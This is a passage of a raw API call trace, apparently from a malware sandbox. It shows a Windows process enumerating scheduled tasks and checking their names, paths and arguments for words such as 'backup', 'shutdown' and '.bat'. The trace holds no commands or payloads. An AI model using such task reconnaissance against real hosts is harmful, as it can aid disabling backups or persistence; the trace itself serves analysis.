varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd88) returned 0x0 [0182.491] IRegisteredTask:get_Name (in: This=0x47fd88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PBDADiscovery") returned 0x0 [0182.491] IRegisteredTask:get_State (in: This=0x47fd88, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0182.492] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f3ea8 [0182.492] wcsstr (_Str="pbdadiscovery", _SubStr="reboot") returned 0x0 [0182.492] wcsstr (_Str="pbdadiscovery", _SubStr="restart") returned 0x0 [0182.492] wcsstr (_Str="pbdadiscovery", _SubStr="shutdown") returned 0x0 [0182.492] wcsstr (_Str="pbdadiscovery", _SubStr="logoff") returned 0x0 [0182.492] wcsstr (_Str="pbdadiscovery", _SubStr=".bat") returned 0x0 [0182.492] wcsstr (_Str="pbdadiscovery", _SubStr="backup") returned 0x0 [0182.492] wcsstr (_Str="pbdadiscovery", _SubStr=".cmd") returned 0x0 [0182.492] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ea8) returned 1 [0182.492] IRegisteredTask:get_Definition (in: This=0x47fd88, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fe38) returned 0x0 [0182.497] ITaskDefinition:get_Actions (in: This=0x47fe38, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47feb0) returned 0x0 [0182.497] IActionCollection:get_Count (in: This=0x47feb0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0182.497] IActionCollection:get_Item (in: This=0x47feb0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0182.497] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0182.497] IUnknown:QueryInterface (in: This=0x2463688, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463688) returned 0x0 [0182.497] IExecAction:get_Path (in: This=0x2463688, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0182.497] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0182.497] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0182.497] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0182.497] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0182.497] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0182.497] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0182.497] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0182.497] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0182.497] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0182.497] IExecAction:get_Arguments (in: This=0x2463688, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/PBDADiscovery") returned 0x0 [0182.497] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1e) returned 0x6f3f70 [0182.497] wcsstr (_Str="/pbdadiscovery", _SubStr="reboot") returned 0x0 [0182.497] wcsstr (_Str="/pbdadiscovery", _SubStr="restart") returned 0x0 [0182.497] wcsstr (_Str="/pbdadiscovery", _SubStr="shutdown") returned 0x0 [0182.497] wcsstr (_Str="/pbdadiscovery", _SubStr="logoff") returned 0x0 [0182.497] wcsstr (_Str="/pbdadiscovery", _SubStr=".bat") returned 0x0 [0182.497] wcsstr (_Str="/pbdadiscovery", _SubStr="backup") returned 0x0 [0182.497] wcsstr (_Str="/pbdadiscovery", _SubStr=".cmd") returned 0x0 [0182.497] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3f70) returned 1 [0182.497] IUnknown:Release (This=0x2463688) returned 0x2 [0182.497] IUnknown:Release (This=0x2463688) returned 0x1 [0182.497] IUnknown:Release (This=0x47feb0) returned 0x1 [0182.498] IUnknown:Release (This=0x47fe38) returned 0x0 [0182.498] IUnknown:Release (This=0x47fd88) returned 0x0 [0182.498] IRegisteredTaskCollection:get_Item (in: This=0x47fd00, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd88) returned 0x0 [0182.498] IRegisteredTask:get_Name (in: This=0x47fd88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PBDADiscoveryW1") returned 0x0 [0182.498] IRegisteredTask:get_State (in: This=0x47fd88, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0182.499] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6f3f48 [0182.499] wcsstr (_Str="pbdadiscoveryw1", _SubStr="reboot") returned 0x0 [0182.499] wcsstr (_Str="pbdadiscoveryw1", _SubStr="restart") returned 0x0 [0182.499] wcsstr (_Str="pbdadiscoveryw1", _SubStr="shutdown") returned 0x0 [0182.499] wcsstr (_Str="pbdadiscoveryw1", _SubStr="logoff") returned 0x0 [0182.499] wcsstr (_Str="pbdadiscoveryw1", _SubStr=".bat") returned 0x0 [0182.499] wcsstr (_Str="pbdadiscoveryw1", _SubStr="backup") returned 0x0 [0182.499] wcsstr (_Str="pbdadiscoveryw1", _SubStr=".cmd") returned 0x0 [0182.499] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3f48) returned 1 [0182.499] IRegisteredTask:get_Definition (in: This=0x47fd88, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fe38) returned 0x0 [0184.282] ITaskDefinition:get_Actions (in: This=0x47fe38, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47feb0) returned 0x0 [0184.282] IActionCollection:get_Count (in: This=0x47feb0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0184.282] IActionCollection:get_Item (in: This=0x47feb0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x24636c8) returned 0x0 [0184.282] IAction:get_Type (in: This=0x24636c8, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0184.282] IUnknown:QueryInterface (in: This=0x24636c8, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x24636c8) returned 0x0 [0184.282] IExecAction:get_Path (in: This=0x24636c8, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0184.282] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0184.282] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0184.282] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0184.282] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0184.282] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0184.282] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0184.282] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0184.282] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0184.282] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0184.282] IExecAction:get_Arguments (in: This=0x24636c8, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/wait:7 /PBDADiscovery") returned 0x0 [0184.282] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2e) returned 0x6cab08 [0184.282] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="reboot") returned 0x0 [0184.282] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="restart") returned 0x0 [0184.282] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="shutdown") returned 0x0 [0184.282] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="logoff") returned 0x0 [0184.282] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr=".bat") returned 0x0 [0184.282] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="backup") returned 0x0 [0184.282] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr=".cmd") returned 0x0 [0184.282] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab08) returned 1 [0184.282] IUnknown:Release (This=0x24636c8) returned 0x2 [0184.283] IUnknown:Release (This=0x24636c8) returned 0x1 [0184.283] IUnknown:Release (This=0x47feb0) returned 0x1 [0184.283] IUnknown:Release (This=0x47fe38) returned 0x0 [0184.283] IUnknown:Release (This=0x47fd88) returned 0x0 [0184.283] IRegisteredTaskCollection:get_Item (in: This=0x47fd00, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xd, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd88) returned 0x0 [0184.283] IRegisteredTask:get_Name (in: This=0x47fd88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PBDADiscoveryW2") returned 0x0 [0184.283] IRegisteredTask:get_State (in: This=0x47fd88, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0184.737] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6f3de0 [0184.737] wcsstr (_Str="pbdadiscoveryw2", _SubStr="reboot") returned 0x0 [0184.737] wcsstr (_Str="pbdadiscoveryw2", _SubStr="restart") returned 0x0 [0184.737] wcsstr (_Str="pbdadiscoveryw2", _SubStr="shutdown") returned 0x0 [0184.737] wcsstr (_Str="pbdadiscoveryw2", _SubStr="logoff") returned 0x0 [0184.737] wcsstr (_Str="pbdadiscoveryw2", _SubStr=".bat") returned 0x0 [0184.737] wcsstr (_Str="pbdadiscoveryw2", _SubStr="backup") returned 0x0 [0184.737] wcsstr (_Str="pbdadiscoveryw2", _SubStr=".cmd") returned 0x0 [0184.737] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3de0) returned 1 [0184.737] IRegisteredTask:get_Definition (in: This=0x47fd88, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fe38) returned 0x0 [0186.294] ITaskDefinition:get_Actions (in: This=0x47fe38, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47feb0) returned 0x0 [0186.294] IActionCollection:get_Count (in: This=0x47feb0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0186.294] IActionCollection:get_Item (in: This=0x47feb0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0186.294] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0186.294] IUnknown:QueryInterface (in: This=0x2463688, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463688) returned 0x0 [0186.294] IExecAction:get_Path (in: This=0x2463688, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0186.294] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0186.294] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0186.294] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0186.294] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0186.294] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0186.294] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0186.294] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0186.294] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0186.294] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0186.294] IExecAction:get_Arguments (in: This=0x2463688, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/wait:90 /PBDADiscovery") returned 0x0 [0186.294] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x30) returned 0x6cab08 [0186.294] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="reboot") returned 0x0 [0186.295] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="restart") returned 0x0 [0186.295] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="shutdown") returned 0x0 [0186.295] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="logoff") returned 0x0 [0186.295] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr=".bat") returned 0x0 [0186.295] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="backup") returned 0x0 [0186.295] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr=".cmd") returned 0x0 [0186.295] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab08) returned 1 [0186.295] IUnknown:Release (This=0x2463688) returned 0x2 [0186.295] IUnknown:Release (This=0x2463688) returned 0x1 [0186.295] IUnknown:Release (This=0x47feb0) returned 0x1 [0186.295] IUnknown:Release (This=0x47fe38) returned 0x0 [0186.295] IUnknown:Release (This=0x47fd88) returned 0x0 [0186.295] IRegisteredTaskCollection:get_Item (in: This=0x47fd00, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xe, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd88) returned 0x0 [0186.295] IRegisteredTask:get_Name (in: This=0x47fd88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PeriodicScanRetry") returned 0x0 [0186.295] IRegisteredTask:get_State (in: This=0x47fd88, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0186.930] IUnknown:Release (This=0x47fd88) returned 0x0 [0186.930] IRegisteredTaskCollection:get_Item (in: This=0x47fd00, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd88) returned 0x0 [0186.930] IRegisteredTask:get_Name (in: This=0x47fd88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PvrRecoveryTask") returned 0x0 [0186.930] IRegisteredTask:get_State (in: This=0x47fd88, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0189.205] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6f3d18 [0189.205] wcsstr (_Str="pvrrecoverytask", _SubStr="reboot") returned 0x0 [0189.205] wcsstr (_Str="pvrrecoverytask", _SubStr="restart") returned 0x0 [0189.205] wcsstr (_Str="pvrrecoverytask", _SubStr="shutdown") returned 0x0 [0189.205] wcsstr (_Str="pvrrecoverytask", _SubStr="logoff") returned 0x0 [0189.205] wcsstr (_Str="pvrrecoverytask", _SubStr=".bat") returned 0x0 [0189.205] wcsstr (_Str="pvrrecoverytask", _SubStr="backup") returned 0x0 [0189.205] wcsstr (_Str="pvrrecoverytask", _SubStr=".cmd") returned 0x0 [0189.205] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3d18) returned 1 [0189.205] IRegisteredTask:get_Definition (in: This=0x47fd88, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fe38) returned 0x0 [0193.397] ITaskDefinition:get_Actions (in: This=0x47fe38, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47feb0) returned 0x0 [0193.397] IActionCollection:get_Count (in: This=0x47feb0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=2) returned 0x0 [0193.397] IActionCollection:get_Item (in: This=0x47feb0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0193.397] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0193.397] IUnknown:QueryInterface (in: This=0x2463688, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463688) returned 0x0 [0193.397] IExecAction:get_Path (in: This=0x2463688, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0193.397] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c2818 [0193.397] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0193.397] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0193.397] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0193.397] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0193.397] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0193.397] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0193.398] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0193.398] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2818) returned 1 [0193.398] IExecAction:get_Arguments (in: This=0x2463688, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-PvrRecoveryTask") returned 0x0 [0193.398] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x22) returned 0x6c88f8 [0193.398] wcsstr (_Str="-pvrrecoverytask", _SubStr="reboot") returned 0x0 [0193.398] wcsstr (_Str="-pvrrecoverytask", _SubStr="restart") returned 0x0 [0193.398] wcsstr (_Str="-pvrrecoverytask", _SubStr="shutdown") returned 0x0 [0193.398] wcsstr (_Str="-pvrrecoverytask", _SubStr="logoff") returned 0x0 [0193.398] wcsstr (_Str="-pvrrecoverytask", _SubStr=".bat") returned 0x0 [0193.398] wcsstr (_Str="-pvrrecoverytask", _SubStr="backup") returned 0x0 [0193.398] wcsstr (_Str="-pvrrecoverytask", _SubStr=".cmd") returned 0x0 [0193.398] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0193.398] IUnknown:Release (This=0x2463688) returned 0x2 [0193.398] IUnknown:Release (This=0x2463688) returned 0x1 [0193.398] IActionCollection:get_Item (in: This=0x47feb0, index=2, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x24636c8) returned 0x0 [0193.398] IAction:get_Type (in: This=0x24636c8, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0193.398] IUnknown:Release (This=0x24636c8) returned 0x1 [0193.398] IUnknown:Release (This=0x47feb0) returned 0x1 [0193.398] IUnknown:Release (This=0x47fe38) returned 0x0 [0193.398] IUnknown:Release (This=0x47fd88) returned 0x0 [0193.398] IRegisteredTaskCollection:get_Item (in: This=0x47fd00, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x10, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd88) returned 0x0 [0193.398] IRegisteredTask:get_Name (in: This=0x47fd88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PvrScheduleTask") returned 0x0 [0193.398] IRegisteredTask:get_State (in: This=0x47fd88, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0194.889] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6f3db8 [0194.890] wcsstr (_Str="pvrscheduletask", _SubStr="reboot") returned 0x0 [0194.890] wcsstr (_Str="pvrscheduletask", _SubStr="restart") returned 0x0 [0194.890] wcsstr (_Str="pvrscheduletask", _SubStr="shutdown") returned 0x0 [0194.890] wcsstr (_Str="pvrscheduletask", _SubStr="logoff") returned 0x0 [0194.890] wcsstr (_Str="pvrscheduletask", _SubStr=".bat") returned 0x0 [0194.890] wcsstr (_Str="pvrscheduletask", _SubStr="backup") returned 0x0 [0194.890] wcsstr (_Str="pvrscheduletask", _SubStr=".cmd") returned 0x0 [0194.890] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3db8) returned 1 [0194.890] IRegisteredTask:get_Definition (in: This=0x47fd88, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fe38) returned 0x0 [0194.899] ITaskDefinition:get_Actions (in: This=0x47fe38, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47feb0) returned 0x0 [0194.899] IActionCollection:get_Count (in: This=0x47feb0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=2) returned 0x0 [0194.899] IActionCollection:get_Item (in: This=0x47feb0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x24636c8) returned 0x0 [0194.899] IAction:get_Type (in: This=0x24636c8, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0194.899] IUnknown:QueryInterface (in: This=0x24636c8, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x24636c8) returned 0x0 [0194.900] IExecAction:get_Path (in: This=0x24636c8, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0194.900] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c2818 [0194.900] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0194.900] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0194.900] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0194.900] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0194.900] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0194.900] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0194.900] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0194.900] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2818) returned 1 [0194.900] IExecAction:get_Arguments (in: This=0x24636c8, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-PvrSchedule") returned 0x0 [0194.900] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3f20 [0194.900] wcsstr (_Str="-pvrschedule", _SubStr="reboot") returned 0x0 [0194.900] wcsstr (_Str="-pvrschedule", _SubStr="restart") returned 0x0 [0194.900] wcsstr (_Str="-pvrschedule", _SubStr="shutdown") returned 0x0 [0194.900] wcsstr (_Str="-pvrschedule", _SubStr="logoff") returned 0x0 [0194.900] wcsstr (_Str="-pvrschedule", _SubStr=".bat") returned 0x0 [0194.900] wcsstr (_Str="-pvrschedule", _SubStr="backup") returned 0x0 [0194.900] wcsstr (_Str="-pvrschedule", _SubStr=".cmd") returned 0x0 [0194.900] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3f20) returned 1 [0194.900] IUnknown:Release (This=0x24636c8) returned 0x2 [0194.900] IUnknown:Release (This=0x24636c8) returned 0x1 [0194.900] IActionCollection:get_Item (in: This=0x47feb0, index=2, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0194.900] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0194.900] IUnknown:Release (This=0x2463688) returned 0x1 [0194.900] IUnknown:Release (This=0x47feb0) returned 0x1 [0194.900] IUnknown:Release (This=0x47fe38) returned 0x0 [0194.900] IUnknown:Release (This=0x47fd88) returned 0x0 [0194.900] IRegisteredTaskCollection:get_Item (in: This=0x47fd00, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd88) returned 0x0 [0194.901] IRegisteredTask:get_Name (in: This=0x47fd88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="RecordingRestart") returned 0x0 [0194.901] IRegisteredTask:get_State (in: This=0x47fd88, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0194.902] IUnknown:Release (This=0x47fd88) returned 0x0 [0194.902] IRegisteredTaskCollection:get_Item (in: This=0x47fd00, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd88) returned 0x0 [0194.902] IRegisteredTask:get_Name (in: This=0x47fd88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="RegisterSearch") returned 0x0 [0194.902] IRegisteredTask:get_State (in: This=0x47fd88, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0194.904] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1e) returned 0x6f3fe8 [0194.904] wcsstr (_Str="registersearch", _SubStr="reboot") returned 0x0 [0194.904] wcsstr (_Str="registersearch", _SubStr="restart") returned 0x0 [0194.904] wcsstr (_Str="registersearch", _SubStr="shutdown") returned 0x0 [0194.904] wcsstr (_Str="registersearch", _SubStr="logoff") returned 0x0 [0194.904] wcsstr (_Str="registersearch", _SubStr=".bat") returned 0x0 [0194.904] wcsstr (_Str="registersearch", _SubStr="backup") returned 0x0 [0194.904] wcsstr (_Str="registersearch", _SubStr=".cmd") returned 0x0 [0194.904] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3fe8) returned 1 [0194.904] IRegisteredTask:get_Definition (in: This=0x47fd88, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fe38) returned 0x0 [0194.909] ITaskDefinition:get_Actions (in: This=0x47fe38, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47feb0) returned 0x0 [0194.909] IActionCollection:get_Count (in: This=0x47feb0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0194.909] IActionCollection:get_Item (in: This=0x47feb0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0194.909] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0194.909] IUnknown:QueryInterface (in: This=0x2463688, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463688) returned 0x0 [0194.909] IExecAction:get_Path (in: This=0x2463688, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0194.909] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0194.909] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", 